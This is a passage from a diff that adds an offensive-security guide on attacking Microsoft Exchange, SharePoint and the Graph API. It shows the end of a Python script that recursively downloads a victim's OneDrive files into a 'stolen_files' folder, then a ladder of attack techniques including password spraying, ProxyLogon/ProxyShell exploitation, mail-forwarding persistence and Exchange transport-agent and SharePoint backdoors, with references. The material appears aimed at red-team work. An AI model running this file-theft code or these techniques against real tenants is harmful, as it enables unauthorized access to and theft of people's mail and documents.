download_folder(f"/drives/{item['parentReference']['driveId']}/items/{item['id']}", f"{local_path}/{item['name']}")
|
|
227
|
+
else:
|
|
228
|
+
content = requests.get(item['@microsoft.graph.downloadUrl'])
|
|
229
|
+
open(f"{local_path}/{item['name']}", 'wb').write(content.content)
|
|
230
|
+
print(f"Downloaded: {item['name']}")
|
|
231
|
+
|
|
232
|
+
download_folder("/users/victim@corp.com/drive/root", "./stolen_files")
|
|
233
|
+
EOF
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Skill Levels
|
|
239
|
+
|
|
240
|
+
**BEGINNER:** OWA password spray · SharePoint sensitive file discovery · Graph API email access
|
|
241
|
+
|
|
242
|
+
**INTERMEDIATE:** ProxyLogon/ProxyShell exploitation · EWS impersonation for mailbox access · SharePoint REST API enumeration
|
|
243
|
+
|
|
244
|
+
**ADVANCED:** Email forwarding persistence · Full mailbox export · CVE chaining for unauthenticated RCE
|
|
245
|
+
|
|
246
|
+
**EXPERT:** Exchange transport agent backdoor · SharePoint webpart backdoor · Hybrid Exchange → on-prem AD escalation
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## References
|
|
251
|
+
|
|
252
|
+
- ProxyLogon: https://proxylogon.com
|
|
253
|
+
- ProxyShell: https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
|
|
254
|
+
- Ruler (Exchange): https://github.com/sensepost/ruler
|
|
255
|
+
- Graph API: https://docs.microsoft.com/en-us/graph/overview
|
|
256
|
+
- MITRE T1114: https://attack.mitre.org/techniques/T1114/
|